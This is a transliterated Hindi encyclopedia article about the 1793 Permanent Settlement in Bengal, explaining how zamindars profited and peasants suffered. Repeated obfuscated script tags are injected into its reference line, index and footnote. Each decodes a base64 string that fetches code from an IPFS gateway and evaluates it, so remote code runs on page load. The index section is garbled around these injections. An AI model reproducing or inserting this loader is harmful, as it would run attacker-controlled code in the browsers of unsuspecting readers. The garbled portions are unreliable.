इस्तमरारी बन्दोबस्त

istamarari bandobast british shasan kal mean bharat mean prachalit thi. yah vyavastha bhoomi tatha lagan ki vasooli se sambandhit thi. l aaurd k aaurnav aaulis ki is vyavastha se sarvadhik labh jamiandaroan ko hua. unaki aangrezoan ke prati rajabhakti badh gee aur isase bharat mean aangrezi shasan ko dridh hone mean madad mili aur unaki j dean majaboot hueean.

shuruat

l aaurd k aaurnav aaulis ne ianglaiand ki sansad ke paramarshanusar san 1786 ee. mean lagan vasooli ka ek das sala bandobast kiya aur yah nishchay hua ki aangrezoan ke adhikrit tatkalin bharatiy bhoomi kshetr mean yadi istamarari vyavastha santoshaprad siddh huee to ise sthayi roop de diya jaega. ukt vyavastha ke phalasvaroop varsh 1793 ee. mean l aaurd k aaurnav aaulis ne bangal ki malagujari ka 'sthayi bandobast' kar diya. isake anusar zamiandar jis bhoomi ka lagan vasool karate the, usake malik man lie ge tatha lagan ki darean bhi nishchit kar di gee.^[1]

jamiandaroan ko labh

apani dekh-rekh tatha prabandh mean zamiandar apane adhin bhoomi se jo atirikt ay karata tha, us par bhi usi ka svatv man liya gaya. krishakoan se liya jane vala lagan bhi patte dvara nishchit kar diya gaya. is bandobast se sarakar, zamiandar aur kisan tinoan hi bhinn-bhinn dhang se prabhavit hue. bhavishy mean jamin ki kimat aur paidavar badh jane par bhi sarakar lagan nahian badha sakati thi. at: use bhari nukasan uthana p da. lekin sarakar ko labh yah hua ki samay-samay par malagujari niyat karane aur vasool karane ki jhanjhat se use chhutakara mil gaya. jamiandaroan ko isase atyadhik labh hua. ve samriddh ho ge. unaki aangrezoan ke prati rajabhakti badhi aur isase bharat mean aangrezi shasan ki j dean majaboot huee.

labhahin kisan

bangal mean bahut-si jamin kheti ke layak bana di gee aur bharat mean bangal ka praant sabase adhik samriddhishali aur unnatishil ban gaya. adhik lagan milane se zamiandar dhani hue aur vanijy vyapar mean bhi isase suvidha huee. parantu kisanoan ko is vyavastha se kuchh bhi labh n hua. unhean lagan bhi adhik dena p data tha or jamiandaroan ke kariandoan ke hathoan unhean atyachar bhi sahane p date the. garib hone ke karan kisan atyacharoan ke viruddh adalati karravaee bhi nahian kar sakate the. jamiandaroan ke atyacharoan ko rokane ke lie 1859 ee. mean 'bangal tenensi aikt' banana p da.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ istamarari bandobast (hindi). . abhigaman tithi: 25 janavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] stamarari bandobast (hindi). . abhigaman tithi: 25 janavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]